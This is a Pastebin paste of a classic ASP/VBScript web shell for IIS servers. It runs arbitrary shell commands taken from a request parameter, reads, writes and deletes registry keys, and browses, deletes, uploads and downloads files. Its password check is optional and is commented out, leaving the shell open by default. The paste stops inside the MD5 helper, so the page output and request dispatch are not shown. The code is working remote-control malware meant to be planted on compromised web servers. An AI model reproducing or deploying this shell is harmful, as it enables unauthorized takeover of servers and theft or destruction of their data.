Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <%@ Language = VBScript
- CodePage = 1252 %>
- <%
- Option Explicit
- '/* --- Options --- */
- Server.ScriptTimeout = 360 ' Seconds
- Session.Timeout = 5 ' Minutes
- Response.Expires = -1 ' Minutes (expires immediately)
- Private sMD5Hash ' MD5("HitU")
- ''sMD5Hash = "F74648612C416B4CE4B9B36C10B10A11" ' Leave it empty to turn off password protection
- 'Session.Abandon ' Terminates last session, prevents hangups
- 'On Error Resume Next ' Proceed to the next line on error
- ' Global variables:
- Private WShell, WNetwork, WEnv, FSO, BinStream
- Private sURL, sCmd, bBgMode, bSI, sKey, sKeyFunc, sKeyValue, sKeyType
- Private sDir, sDel, sDL, sPasswd
- ' Create COM objects:
- Set WShell = Server.CreateObject("WSCRIPT.SHELL")
- Set WNetwork = Server.CreateObject("WSCRIPT.NETWORK")
- Set WEnv = WShell.Environment("Process")
- Set FSO = Server.CreateObject("Scripting.FileSystemObject")
- ' Process script args:
- sURL = Request.ServerVariables("URL") ' Script relative addr.
- sCmd = Request("CMD") ' Shell: command
- bBgMode = Request("CMD_M") ' Shell: mode
- bSI = Request("SI") ' Server info
- sKey = Request("RKEY") ' Reg editor: key
- sKeyFunc = Request("RKEY_F") ' Reg editor: function
- sKeyValue = Request("RKEY_V") ' Reg editor: value
- sKeyType = Request("RKEY_T") ' Reg editor: type
- sDir = Request("DIR") ' Directory listing: path
- sDel = Request("DEL") ' Directory listing: delete item
- sDL = Request("DL") ' Download: file path
- sPasswd = Request("PWD") ' Password: clear text
- ' Set default mode:
- If ( IsEmpty(sCmd) And _
- IsEmpty(bSI) And _
- IsEmpty(sKey) And _
- IsEmpty(sDir) ) Then
- sDir = ""
- End If
- '/* --- Routines --- */
- ' Executes command and passes stdout to browser.
- ' Can start the process in background mode.
- Private Sub ExecuteCmd(ByVal sCommand, ByVal bBg)
- Dim Pipe, RetCode
- On Error Resume Next
- If ( bBg <> "" ) Then
- RetCode = WShell.Run("%comspec% /c " & sCommand & " 2>&1", 0, False)
- Response.Write("Returned: " & RetCode)
- Else
- Set Pipe = WShell.Exec("%comspec% /c " & sCommand & " 2>&1")
- While( Not Pipe.StdOut.AtEndOfStream )
- Response.Write(Server.HTMLEncode(Pipe.StdOut.ReadAll()))
- WEnd
- Response.Write("Returned: " & Pipe.ExitCode)
- End If
- ' Error handling:
- If ( Err.Number <> 0 ) Then
- Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
- Err.Clear
- End If
- Set Pipe = nothing
- Set RetCode = nothing
- End Sub
- ' Returns first word from the string. Used in shell page title.
- Private Function GetFirstWord(ByVal sStr)
- Dim Word
- If ( Len(sStr) <> 0 ) Then
- Word = Split(sStr)
- GetFirstWord = Word(0)
- Else
- GetFirstWord = "[ Shell ]"
- End if
- Set Word = nothing
- End Function
- ' Changes empty string to nbsp. Useful while building HTML tables.
- Private Function EmptyToNbsp(ByVal sStr)
- If ( sStr = "" ) Then
- sStr = " "
- End If
- EmptyToNbsp = sStr
- End Function
- ' Converts unicode string to byte string.
- Private Function CStrB(ByRef sUnicodeStr)
- Dim nPos
- For nPos = 1 To Len(sUnicodeStr)
- CStrB = CStrB & ChrB( AscB( Mid(sUnicodeStr, nPos, 1)))
- Next
- End Function
- ' Converts byte string to unicode string.
- Private Function CStrU(ByRef sByteStr)
- Dim nPos
- For nPos = 1 To LenB(sByteStr)
- CStrU = CStrU & Chr( AscB( MidB(sByteStr, nPos, 1)))
- Next
- End Function
- ' Returns string, containing HTML table with drives info.
- Private Function ShowDrivesInfo()
- On Error Resume Next
- Dim Drive, Share, Str
- ' Table header:
- Str = "<table border='1' cellspacing='0' cellpadding='2' width='600'>" & _
- "<tr align='center'><th colspan='9'>Drives Info</th></tr>" & _
- "<tr align='center'><th>Drive</th><th>Type</th><th>Label</th>" & _
- "<th>Filesystem</th><th>Size[Mb]</th><th>Avail[Mb]</th><th>Free[Mb]</th>" & _
- "<th>Shared</th><th>Ready</th></tr>"
- ' Enumerate drives:
- For Each Drive in FSO.Drives
- Str = Str & "<tr align='center' class='drv'><td>" & Drive.DriveLetter & "</td>"
- Select Case Drive.DriveType
- Case 0: Str = Str & "<td>Unknown</td>"
- Case 1: Str = Str & "<td>Removable</td>"
- Case 2: Str = Str & "<td>Fixed</td>"
- Case 3: Str = Str & "<td>Network</td>"
- Case 4: Str = Str & "<td>CD-ROM</td>"
- Case 5: Str = Str & "<td>RAM Disk</td>"
- End Select
- ' Prevents from 500 - "drive not ready" error:
- If Drive.IsReady Then
- Str = Str & "<td>" & EmptyToNbsp(Drive.VolumeName) & "</td>"
- Str = Str & "<td>" & Drive.FileSystem & "</td>"
- Str = Str & "<td>" & FormatNumber(Drive.TotalSize / 1048576, 0) & "</td>"
- Str = Str & "<td>" & FormatNumber(Drive.AvailableSpace / 1048576, 0) & "</td>"
- Str = Str & "<td>" & FormatNumber(Drive.FreeSpace / 1048576, 0) & "</td>"
- Else
- Str = Str & "<td>-</td><td>-</td><td>-</td><td>-</td><td>-</td>"
- End If
- If (Drive.ShareName = "") Then
- Str = Str & "<td>-</td>"
- Else
- Str = Str & "<td>" & Drive.ShareName & "</td>"
- End If
- Str = Str & "<td>" & Drive.IsReady & "</td></tr>"
- Next
- ' Error handling:
- If ( Err.Number <> 0 ) Then
- Response.Write( "Error: '" & Err.Description & "' at " & Err.Source & " [" & Err.Number & "]" )
- Err.Clear
- End If
- ShowDrivesInfo = Str & "</table>"
- Set Drive = nothing
- Set Share = nothing
- Set Str = nothing
- End Function
- ' Provides interface for registry read/write/delete functions.
- Private Function RegEditor(ByVal sKey, ByVal sKeyValue, ByVal sKeyType, ByVal sKeyFunc)
- On Error Resume Next
- Select Case sKeyFunc
- Case "Read" Response.Write(WShell.RegRead(sKey))
- Case "Write"
- If ( sKeyType = "REG_SZ" or _
- sKeyType = "REG_DWORD" or _
- sKeyType = "REG_BINARY" or _
- sKeyType = "REG_EXPAND_SZ" ) Then
- If ( Not IsEmpty(sKeyValue) ) Then
- Response.Write(WShell.RegWrite(sKey, sKeyValue, sKeyType))
- Else
- Response.Write("Key value is not defined.")
- End If
- Else
- Response.Write("Improper key type.")
- End If
- Case "Delete" Response.Write(WShell.RegDelete(sKey))
- Case Else Response.Write("Improper function value.")
- End Select
- ' Error handling:
- If ( Err.Number <> 0 ) Then
- Response.Write( "Error: '" & Err.Description & "' at " & Err.Source & " [" & Err.Number & "]" )
- Err.Clear
- Else
- Response.Write("Successfully performed the operation.")
- End If
- End Function
- ' Returns directory path without trailing slash.
- Private Function GetCorrectPath(ByVal sDir)
- Dim sDirPath
- ' Starting folder:
- If ( sDir = "" ) Then
- sDir = Server.MapPath(".")
- End If
- ' Get correct folder path:
- If ( FSO.FolderExists(sDir) ) Then
- sDirPath = FSO.GetFolder(sDir).Path
- Else
- sDirPath = sDir
- End If
- GetCorrectPath = sDirPath
- Set sDirPath = nothing
- End Function
- ' Returns string with HTML table.
- Private Function ShowDirectoryList(ByVal sDir)
- On Error Resume Next
- Dim sDirPath, Str, Folder, Item, Attr
- sDirPath = GetCorrectPath(sDir)
- Set Folder = FSO.GetFolder(sDirPath)
- ' Path input field:
- Str = "<center><form name='path' action='" & sURL & "' method='POST'>" & _
- "<input name='DIR' type='text' style='width:80%;' value='" & sDirPath & "'>" & _
- " <input type='submit' class='button' value='Go'></form><br>"
- ' Check the path:
- If ( Not FSO.FolderExists(sDirPath) ) Then
- ShowDirectoryList = Str & "Folder <b>" & sDirPath & "</b> doesn't exist.<br>"
- Exit Function
- End If
- ' Table header:
- Str = Str & "Contents of <b>" & sDirPath & "</b><br><br>" & _
- "<form name='items' action='" & sURL & "' method='POST'>" & _
- "<input name='DIR' type='hidden' value='" & sDirPath & "'>" & _
- "<input name='DEL' type='hidden' value=''>" & _
- "<table border='1' cellpadding='0' cellspacing='0' width='90%'>" & _
- "<tr><th> </th><th>Name</th><th>Size[b]</th>" & _
- "<th>Date Created</th><th>Attributes</th><th>Type</th></tr>"
- ' Parent directory:
- If ( Not Folder.IsRootFolder ) Then
- Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
- " onMouseOut='this.style.backgroundColor=""""' class='dir'>" & _
- "<td> </td>" & _
- "<td class='dir' onclick='go("".."");'><..></td>" & _
- "<td> </td>" & _
- "<td> </td>" & _
- "<td> </td>" & _
- "<td>Parent Folder</td></tr>" & vbCRLF
- End If
- ' Directories:
- For Each Item In Folder.SubFolders
- If ( Item.Attributes And 1 ) Then
- Attr = "R(" & Item.Attributes & ")"
- Else
- Attr = "RW(" & Item.Attributes & ")"
- End If
- Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
- " onMouseOut='this.style.backgroundColor=""""' class='dir'>" & _
- "<td><input type='button' class='button' style='width:28;'" & _
- " value='Del' onclick='del(""" & Item.Name & "\\"");'></td>" & _
- "<td class='dir' onclick='go(""" & Item.Name & """);'>" & _
- "<" & Item.Name & "></td>" & _
- "<td>" & FormatNumber(Item.Size, 0) & "</td>" & _
- "<td>" & Item.DateCreated & "</td>" & _
- "<td>" & Attr & "</td>" & _
- "<td>" & Item.Type & "</td></tr>" & vbCRLF
- Next
- ' Files:
- For Each Item In Folder.Files
- ' Add cacls?
- If ( Item.Attributes And 1 ) Then
- Attr = "R(" & Item.Attributes & ")"
- Else
- Attr = "RW(" & Item.Attributes & ")"
- End If
- Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
- " onMouseOut='this.style.backgroundColor=""""' class='file'>" & _
- "<td><input type='button' class='button' style='width:28;'" & _
- " value='Del' onclick='del(""" & Item.Name & """);'></td>" & _
- "<td class='file' onclick='dl(""" & Item.Name & """);'>" & _
- Item.Name & "</td>" & _
- "<td>" & FormatNumber(Item.Size, 0) & "</td>" & _
- "<td>" & Item.DateCreated & "</td>" & _
- "<td>" & Attr & "</td>" & _
- "<td>" & Item.Type & "</td></tr>" & vbCRLF
- Next
- Str = Str & "</table></form><br><br>"
- ' Download form:
- Str = Str & "<form name='download' action='" & sURL & "' method='POST'>" & _
- "<input name='DL' type='hidden' value='" & sDirPath & "'></form>" & _
- "<form name='upload' enctype='multipart/form-data' action='" & sURL & "' method='POST'>" & _
- "<input name='UL' type='hidden' value='" & sDirPath & "'>" & _
- "<input name='FILE' type='file' style='width:80%;'> " & _
- "<input type='submit' class='button' value='Upload'></form><br><br></center>"
- ' Error handling:
- If ( Err.Number <> 0 ) Then
- Str = Str & "<center>Error: '" & Err.Description & "' [" & Err.Number & "]</center><br><br>"
- Err.Clear
- End If
- ShowDirectoryList = Str
- Set sDirPath = nothing
- Set Str = nothing
- Set Folder = nothing
- Set Item = nothing
- Set Attr = nothing
- End Function
- ' Upload FSO buffering.
- Private Function BufferContent(ByRef Data)
- Dim sContent(64), i
- ClearString(sContent)
- For i = 1 To LenB(Data)
- AddString sContent, Chr(AscB (MidB (Data, i, 1)))
- Next
- BufferContent = ReadString(sContent)
- End Function
- Private Sub ClearString(ByRef sPart)
- Dim nIdx
- For nIdx = 0 to 64
- sPart(nIdx) = ""
- Next
- End Sub
- Private Sub AddString(ByRef sPart, ByRef Str)
- Dim Tmp, nIdx
- sPart(0) = sPart(0) & Str
- If ( Len(sPart(0)) > 64 ) Then
- nIdx = 0
- Tmp = ""
- Do
- Tmp = sPart(nIdx) & Tmp
- sPart(nIdx) = ""
- nIdx = nIdx + 1
- Loop Until sPart(nIdx) = ""
- sPart(nIdx) = Tmp
- End If
- End Sub
- Private Function ReadString(ByRef sPart)
- Dim Tmp, nIdx
- Tmp = ""
- For nIdx = 0 to 64
- If ( sPart(nIdx) <> "" ) Then
- Tmp = sPart(nIdx) & Tmp
- End If
- Next
- ReadString = Tmp
- End Function
- ' Saves uploaded file.
- Private Sub UploadFile()
- Dim BinData, nObjStartPos, nObjEndPos, nStartPos, nEndPos, sBoundary
- Dim sFileName, sSavePath, nFileLen, BinFile, PostBinStream
- On Error Resume Next
- Err.Clear
- BinData = Request.BinaryRead(Request.TotalBytes)
- ' Get the boundary:
- nStartPos = 1
- nEndPos = InStrB(nStartPos, BinData, CStrB(vbCR))
- If ( nEndPos > nStartPos ) Then
- sBoundary = MidB(BinData, nStartPos, nEndPos - nStartPos)
- Else
- Response.Write("Error: Boundary is not defined.")
- StopScript
- End If
- ' Get the upload directory("UL"):
- nObjStartPos = InStrB(1, BinData, sBoundary)
- nObjEndPos = InStrB(nObjStartPos + 1, BinData, sBoundary)
- nStartPos = InStrB(nObjStartPos, BinData, CStrB("name=""UL"""))
- If ( nStartPos > nObjStartPos And nStartPos < nObjEndPos ) Then
- nEndPos = InStrB(nStartPos + 13, BinData, CStrB(vbCR))
- ' nStartPos + 13 -> name="UL"+ 0x0D + 0x0A + 0x0D + 0x0A
- sDir = CStrU(MidB(BinData, nStartPos + 13, nEndPos - nStartPos - 13))
- Else
- Response.Write("Error: Upload directory(""UL"") is not defined.")
- StopScript
- End If
- ' Get file's binary data:
- nObjStartPos = nObjEndPos
- nObjEndPos = InStrB(nObjStartPos + 1, BinData, sBoundary & CStrB("--"))
- nStartPos = InStrB(nObjStartPos + 1, BinData, CStrB("name=""FILE"""))
- If ( nStartPos > 0 And nObjEndPos > nObjStartPos ) Then
- ' Get the filename:
- nStartPos = InStrB(nStartPos, BinData, CStrB("filename="""))
- nEndPos = InStrB(nStartPos + 10, BinData, CStrB(""""))
- If ( nStartPos + 10 = nEndPos Or nStartPos = 0 ) Then
- Response.Write("Uploaded: 0 bytes [Empty filename] ")
- Exit Sub
- End If
- sFileName = CStrU(MidB(BinData, nStartPos + 10, nEndPos - nStartPos - 10))
- ' Change all '/' to '\':
- sFileName = Replace(sFileName, "/", "\")
- sFileName = Right(sFileName, Len(sFileName) - InStrRev(sFileName, "\"))
- sFileName = Trim(sFileName)
- ' Skip Content-Type:
- nStartPos = InStrB(nEndPos, BinData, CStrB("Content-Type:"))
- nEndPos = InStrB(nStartPos + 13, BinData, CStrB(vbCR))
- If ( nStartPos = 0 or nEndPos = 0 ) Then
- Response.Write("Error: Content-Type is not defined.")
- StopScript
- End If
- ' Skip CRLFs and set pointers to file's binary data:
- nStartPos = nEndPos + 3
- nEndPos = nObjEndPos - 3
- nFileLen = nEndPos - nStartPos
- BinFile = MidB(BinData, nStartPos + 1, nFileLen)
- sSavePath = FSO.BuildPath(sDir, sFileName)
- ' Save binary data into the destination file:
- SetLocale(1033)
- Err.Clear
- Set PostBinStream = Server.CreateObject("ADODB.Stream")
- Set BinStream = Server.CreateObject("ADODB.Stream")
- If ( Err.Number = 0 ) Then
- PostBinStream.Type = 1 ' adTypeBinary
- PostBinStream.Open()
- PostBinStream.Write(BinData)
- PostBinStream.Position = nStartPos
- BinStream.Type = 1
- BinStream.Open()
- PostBinStream.CopyTo BinStream, nFileLen
- ' Overwrites file:
- BinStream.SaveToFile sSavePath, 2
- BinStream.Close()
- PostBinStream.Close()
- Else
- Err.Clear
- ' Use FSO (only text data), if ADO.Stream is not there:
- Set BinStream = FSO.CreateTextFile(sSavePath, True)
- BinStream.Write(BufferContent(BinFile))
- BinStream.Close()
- End If
- Response.Write("Uploaded: " & FormatNumber(nFileLen, 0) & " bytes [""" & sSavePath & """] ")
- Else
- Response.Write("Error: File's binary data parse error.")
- StopScript
- End If
- ' Error handling:
- If ( Err.Number <> 0 ) Then
- Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
- Err.Clear
- End If
- ' Free mallocs ;)
- Set BinData = nothing : Set nObjStartPos = nothing
- Set nObjEndPos = nothing : Set nStartPos = nothing
- Set nEndPos = nothing : Set sBoundary = nothing
- Set sFileName = nothing : Set sSavePath = nothing
- Set nFileLen = nothing : Set BinFile = nothing
- Set PostBinStream = nothing
- End Sub
- ' Generates script navigation HTML string.
- Private Function InsertNavBar()
- Dim Str
- Str = "<center><form name='nav' action='" & sURL & "' method='POST'>" & _
- "<input name='change' type='hidden' value=''></form>< " & _
- "<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
- " onMouseOut='this.style.backgroundColor=""""'" & _
- " onclick='document.nav.change.name=""DIR"";document.nav.submit()'>" & _
- "Directory Listing</span> | " & _
- "<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
- " onMouseOut='this.style.backgroundColor=""""'" & _
- " onclick='document.nav.change.name=""CMD"";document.nav.submit()'>" & _
- "Shell</span> | " & _
- "<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
- " onMouseOut='this.style.backgroundColor=""""'" & _
- " onclick='document.nav.change.name=""RKEY"";document.nav.submit()'>" & _
- "Registry Editor</span> | " & _
- "<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
- " onMouseOut='this.style.backgroundColor=""""'" & _
- " onclick='document.nav.change.name=""SI"";document.nav.submit()'>" & _
- "Server Info</span> ></center><br><br>"
- InsertNavBar = Str
- Set Str = nothing
- End Function
- ' Generates auth. page and checks for proper password.
- Private Function CheckAuth(ByVal sPasswd)
- Dim Str
- If ( sMD5Hash = "" ) Then
- Exit Function
- End If
- ' Save the hash in a session variable:
- If ( Not IsEmpty(sPasswd) ) Then
- Session("Auth") = MD5(sPasswd)
- End If
- ' Check the password:
- If ( IsEmpty(Session("Auth")) ) Then
- Str = "<html><head><title>Authentication</title></head><body><center>" & _
- "Enter the password: <form name='download' action='" & sURL & "' method='POST'>" & _
- "<input name='PWD' type='text' style='width:80%;' value=''> " & _
- "<input type='submit' value='Submit'></form></body></html>"
- Response.Write(Str)
- Session.Abandon
- StopScript
- Else
- If ( UCase(Session("Auth")) <> UCase(sMD5Hash) ) Then
- Response.Write("Bad password or session has timed out.")
- Session.Abandon
- StopScript
- End If
- End If
- End Function
- ' MD5 Routines.
- ' Ripped from frez.co.uk
- Private Const BITS_TO_A_BYTE = 8
- Private Const BYTES_TO_A_WORD = 4
- Private Const BITS_TO_A_WORD = 32
- Private m_lOnBits(30)
- Private m_l2Power(30)
- m_lOnBits(0) = CLng(1)
- m_lOnBits(1) = CLng(3)
- m_lOnBits(2) = CLng(7)
- m_lOnBits(3) = CLng(15)
- m_lOnBits(4) = CLng(31)
- m_lOnBits(5) = CLng(63)
- m_lOnBits(6) = CLng(127)
- m_lOnBits(7) = CLng(255)
- m_lOnBits(8) = CLng(511)
- m_lOnBits(9) = CLng(1023)
- m_lOnBits(10) = CLng(2047)
- m_lOnBits(11) = CLng(4095)
- m_lOnBits(12) = CLng(8191)
- m_lOnBits(13) = CLng(16383)
- m_lOnBits(14) = CLng(32767)
- m_lOnBits(15) = CLng(65535)
- m_lOnBits(16) = CLng(131071)
- m_lOnBits(17) = CLng(262143)
- m_lOnBits(18) = CLng(524287)
- m_lOnBits(19) = CLng(1048575)
- m_lOnBits(20) = CLng(2097151)
- m_lOnBits(21) = CLng(4194303)
- m_lOnBits(22) = CLng(8388607)
- m_lOnBits(23) = CLng(16777215)
- m_lOnBits(24) = CLng(33554431)
- m_lOnBits(25) = CLng(67108863)
- m_lOnBits(26) = CLng(134217727)
- m_lOnBits(27) = CLng(268435455)
- m_lOnBits(28) = CLng(536870911)
- m_lOnBits(29) = CLng(1073741823)
- m_lOnBits(30) = CLng(2147483647)
- m_l2Power(0) = CLng(1)
- m_l2Power(1) = CLng(2)
- m_l2Power(2) = CLng(4)
- m_l2Power(3) = CLng(8)
- m_l2Power(4) = CLng(16)
- m_l2Power(5) = CLng(32)
- m_l2Power(6) = CLng(64)
- m_l2Power(7) = CLng(128)
- m_l2Power(8) = CLng(256)
- m_l2Power(9) = CLng(512)
- m_l2Power(10) = CLng(1024)
- m_l2Power(11) = CLng(2048)
- m_l2Power(12) = CLng(4096)
- m_l2Power(13) = CLng(8192)
- m_l2Power(14) = CLng(16384)
- m_l2Power(15) = CLng(32768)
- m_l2Power(16) = CLng(65536)
- m_l2Power(17) = CLng(131072)
- m_l2Power(18) = CLng(262144)
- m_l2Power(19) = CLng(524288)
- m_l2Power(20) = CLng(1048576)
- m_l2Power(21) = CLng(2097152)
- m_l2Power(22) = CLng(4194304)
- m_l2Power(23) = CLng(8388608)
- m_l2Power(24) = CLng(16777216)
- m_l2Power(25) = CLng(33554432)
- m_l2Power(26) = CLng(67108864)
- m_l2Power(27) = CLng(134217728)
- m_l2Power(28) = CLng(268435456)
- m_l2Power(29) = CLng(536870912)
- m_l2Power(30) = CLng(1073741824)
- Private Function LShift(ByVal lValue, ByVal iShiftBits)
- If ( iShiftBits = 0 ) Then
- LShift = lValue
- Exit Function
- ElseIf ( iShiftBits = 31 ) Then
- If lValue And 1 Then
- LShift = &H80000000
- Else
- LShift = 0
- End If
- Exit Function
- ElseIf ( iShiftBits < 0 Or iShiftBits > 31 ) Then
- Err.Raise(6)
- End If
- If ( lValue And m_l2Power(31 - iShiftBits) ) Then
- LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000
- Else
- LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits))
- End If
- End Function
- Private Function RShift(lValue, iShiftBits)
- If ( iShiftBits = 0 ) Then
- RShift = lValue
- Exit Function
- ElseIf ( iShiftBits = 31 ) Then
- If ( lValue And &H80000000 ) Then
- RShift = 1
- Else
- RShift = 0
- End If
- Exit Function
- ElseIf ( iShiftBits < 0 Or iShiftBits > 31 ) Then
- Err.Raise(6)
- End If
- RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits)
- If ( lValue And &H80000000 ) Then
- RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1)))
- End If
- End Function
- Private Function RotateLeft(lValue, iShiftBits)
- RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits))
- End Function
- Private Function AddUnsigned(lX, lY)
- Dim lX4, lY4, lX8, lY8, lResult
- lX8 = lX And &H80000000
- lY8 = lY And &H80000000
- lX4 = lX And &H40000000
- lY4 = lY And &H40000000
- lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF)
- If ( lX4 And lY4 ) Then
- lResult = lResult Xor &H80000000 Xor lX8 Xor lY8
- ElseIf ( lX4 Or lY4 ) Then
- If ( lResult And &H40000000 ) Then
- lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8
- Else
- lResult = lResult Xor &H40000000 Xor lX8 Xor lY8
- End If
- Else
- lResult = lResult Xor lX8 Xor lY8
- End If
- AddUnsigned = lResult
- End Function
- Private Function F(x, y, z)
- F = (x And y) Or ((Not x) And z)
- End Function
- Private Function G(x, y, z)
- G = (x And z) Or (y And (Not z))
- End Function
- Private Function H(x, y, z)
- H = (x Xor y Xor z)
- End Function
- Private Function I(x, y, z)
- I = (y Xor (x Or (Not z)))
- End Function
- Private Sub FF(a, b, c, d, x, s, ac)
- a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac))
- a = RotateLeft(a, s)
- a = AddUnsigned(a, b)
- End Sub
- Private Sub GG(a, b, c, d, x, s, ac)
- a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac))
- a = RotateLeft(a, s)
- a = AddUnsigned(a, b)
- End Sub
- Private Sub HH(a, b, c, d, x, s, ac)
- a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac))
- a = RotateLeft(a, s)
- a = AddUnsigned(a, b)
- End Sub
- Private Sub II(a, b, c, d, x, s, ac)
- a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac))
- a = RotateLeft(a, s)
- a = AddUnsigned(a, b)
- End Sub
- Private Function ConvertToWordArray(sMessage)
- Dim lMessageLength, lNumberOfWords, lWordArray(), lBytePosition, lByteCount, lWordCount
- Const MODULUS_BITS = 512
- Const CONGRUENT_BITS = 448
- lMessageLength = Len(sMessage)
- lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD)
- ReDim lWordArray(lNumberOfWords - 1)
- lBytePosition = 0
- lByteCount = 0
- Do Until lByteCount >= lMessageLength
- lWordCount = lByteCount \ BYTES_TO_A_WORD
- lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
- lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition)
- lByteCount = lByteCount + 1
- Loop
- lWordCount = lByteCount \ BYTES_TO_A_WORD
- lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
- lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&H80, lBytePosition)
- lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3)
- lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29)
- ConvertToWordArray = lWordArray
- End Function
- Private Function WordToHex(lValue)
- Dim lByte, lCount
- For lCount = 0 To 3
- lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1)
- WordToHex = WordToHex & Right("0" & Hex(lByte), 2)
- Next
- End Function
- Private Function MD5(sMessage)
- Dim x, k, AA, BB, CC, DD, a, b, c, d
- Const S11 = 7
- Const S12 = 12
- Const S13 = 17
- Const S14 = 22
- Const S21 = 5
- Const S22 = 9
- Const S23 = 14
- Const S24 = 20
- Const S31 = 4
- Const S32 = 11
- Const S33 = 16
- Const S34 = 23
- Const S41 = 6
- Const S42 = 10
- Const S43 = 15
- Const S44 = 21
- x = ConvertToWordArray(sMessage)
- a = &H67452301
- b = &HEFCDAB89
- c = &H98BADCFE
- d = &H10325476
- For k = 0 To UBound(x) Step 16
- AA = a
- BB = b
- CC = c
- DD = d
- FF a, b, c, d, x(k + 0), S11, &HD76AA478
- FF d, a, b, c, x(k + 1), S12, &HE8C7B756
- FF c, d, a, b, x(k + 2), S13, &H242070DB
- FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE
- FF a, b, c, d, x(k + 4), S11, &HF57C0FAF
- FF d, a, b, c, x(k + 5), S12, &H4787C62A
- FF c, d, a, b, x(k + 6), S13, &HA8304613
- FF b, c, d, a, x(k + 7), S14, &HFD469501
- FF a, b, c, d, x(k + 8), S11, &H698098D8
- FF d, a, b, c, x(k + 9), S12, &H8B44F7AF
- FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1
- FF b, c, d, a, x(k + 11), S14, &H895CD7BE
- FF a, b, c, d, x(k + 12), S11, &H6B901122
- FF d, a, b, c, x(k + 13), S12, &HFD987193
- FF c, d, a, b, x(k + 14), S13, &HA679438E
- FF b, c, d, a, x(k + 15), S14, &H49B40821
- GG a, b, c, d, x(k + 1), S21, &HF61E2562
- GG d, a, b, c, x(k + 6), S22, &HC040B340
- GG c, d, a, b, x(k + 11), S23, &H265E5A51
- GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA
- GG a, b, c, d, x(k + 5), S21, &HD62F105D
- GG d, a, b, c, x(k + 10), S22, &H2441453
- GG c, d, a, b, x(k + 15), S23, &HD8A1E681
- GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8
- GG a, b, c, d, x(k + 9), S21, &H21E1CDE6
- GG d, a, b, c, x(k + 14), S22, &HC33707D6
- GG c, d, a, b, x(k + 3), S23, &HF4D50D87
- GG b, c, d, a, x(k + 8), S24, &H455A14ED
- GG a, b, c, d, x(k + 13), S21, &HA9E3E905
- GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8
- GG c, d, a, b, x(k + 7), S23, &H676F02D9
- GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A
- HH a, b, c, d, x(k + 5), S31, &HFFFA3942
- HH d, a, b, c, x(k + 8), S32, &H8771F681
- HH c, d, a, b, x(k + 11), S33, &H6D9D6122
- HH b, c, d, a, x(k + 14), S34, &HFDE5380C
- HH a, b, c, d, x(k + 1), S31, &HA4BEEA44
- HH d, a, b, c, x(k + 4), S32, &H4BDECFA9
- HH c, d, a, b, x(k + 7), S33, &HF6BB4B60
- HH b, c, d, a, x(k + 10), S34, &HBEBFBC70
- HH a, b, c, d, x(k + 13), S31, &H289B7EC6
- HH d, a, b, c, x(k + 0), S32, &HEAA127FA
- HH c, d, a, b, x(k + 3), S33, &HD4EF3085
- HH b, c, d, a, x(k + 6), S34, &H4881D05
- HH a, b, c, d, x(k + 9), S31, &HD9D4D039
- HH d, a, b, c, x(k + 12), S32, &HE6DB99E5
- HH c, d, a, b, x(k + 15), S33, &H1FA27CF8
- HH b, c, d, a, x(k + 2), S34, &HC4AC5665
- II a, b, c, d, x(k + 0), S41, &HF4292244
- II d, a, b, c, x(k + 7), S42, &H432AFF97
- II c, d, a, b, x(k + 14), S43, &HAB9423A7
- II b, c, d, a, x(k + 5), S44, &HFC93A039
- II a, b, c, d, x(k + 12), S41, &H655B59C3
- II d, a, b, c, x(k + 3), S42, &H8F0CCC92
- II c, d, a, b, x(k + 10), S43, &HFFEFF47D
- II b, c, d, a, x(k + 1), S44, &H85845DD1
- II a, b, c, d, x(k + 8), S41, &H6FA87E4F
- II d, a, b, c, x(k + 15), S42, &HFE2CE6E0
- II c, d, a, b, x(k + 6), S43, &HA3014314
- II b, c, d, a, x(k + 13), S44, &H4E0811A1
- II a, b, c, d, x(k + 4), S41, &HF7537E82
- II d, a, b, c, x(k + 11), S42, &HBD3AF235
- II c, d, a, b, x(k + 2), S43, &H2AD7D2BB
- II b, c, d, a, x(k + 9), S44, &HEB86D391
- a = AddUnsigned(a, AA)
- b = AddUnsigned(b, BB)
- c = AddUnsigned(c, CC)
- d = AddUnsigned(d, DD)
- Next
